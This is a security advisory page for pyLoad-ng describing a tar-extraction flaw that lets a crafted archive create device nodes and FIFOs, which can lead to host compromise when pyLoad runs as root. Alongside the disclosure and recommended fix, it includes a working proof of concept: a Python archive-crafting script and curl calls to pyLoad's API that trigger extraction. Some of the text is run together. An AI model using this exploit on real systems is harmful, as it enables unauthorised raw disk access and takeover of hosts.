PYLOAD-NG · CVE-2026-123815 · Package
NO FIX YET · SEE WHAT TO DO
pyLoad's tar extraction checks file names and link targets but not member types, so a crafted archive can make pyLoad create character or block device nodes and FIFOs on disk. If pyLoad runs as root, a block-device member can give raw disk access and full host compromise, reachable by any low-privileged user who can trigger archive extraction.
first public Oct 9, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
pyLoad installations that extract tar archives, especially those running as root such as the official Docker deployment, where low-privileged users can add packages and trigger extraction. The sources say the flaw sits in the UnTar extractor's _safe_extractall, which checks names and link targets but not member types, and calls tarfile.extractall without a filter on Python below 3.14.
Not affected if no-untrusted-users, non-root-deployment
Who cares docker, pyload-ng, python, self-hosted
pip show pyload-ng; affected versions are <= 0.5.0b3.dev101.UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and calls
tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is
fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
ExtractArchive.extract_package).
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No / / / check exists, and the pre-validation in is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor for euid=0 and create FIFOs for any euid.
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
member.isdev()ischr()isblk()isfifo()plugins/base/extractor.py:191-263mknodBASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass
filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.